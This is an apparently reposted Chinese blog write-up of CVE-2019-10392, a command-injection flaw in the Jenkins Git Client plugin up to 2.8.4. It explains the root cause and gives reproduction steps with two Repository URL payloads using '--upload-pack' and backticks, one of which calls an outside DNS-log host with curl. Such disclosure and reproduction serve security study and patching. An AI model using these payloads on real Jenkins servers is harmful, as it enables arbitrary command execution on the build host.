Jenkins Git Client插件命令执行漏洞(CVE-2019-10392)

本文阅读 3 分钟

Jenkins是一个独立的开源自动化服务器,由JAVA开发。 可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。 Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。 在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.

Git Client插件为Jenkins插件提供了git应用程序编程接口(API)。 它可以获取,签出,分支,列表,合并和标记存储库。Git Client接口提供git访问的主要入口点,它支持Jenkins凭据插件提供的用户名/密码凭据和私钥凭证。

该漏洞源于Git客户端插件接受用户指定的值作为调用git ls-remote的参数,以验证指定URL处是否存在Git存储库。 这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现的。由于接收用户输入Repository URL而没有做过滤,导致了与git ls-remote命令拼接,执行了用户可控的命令。

影响版本
Git client Plugin <= 2.8.4

登录后,创建一个新任务。构造一个自由风格的项目,然后点击确认提交。 img

在源码管理处选择git,然后在Repositories功能的Repository URL插入我们payload,将要执行的命令包含在upload-pack选项中。

--upload-pack=`id`  //反引号

img

--upload-pack=`curl 4y6heb.dnslog.cn`

img

img

参考链接: https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/117745553
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复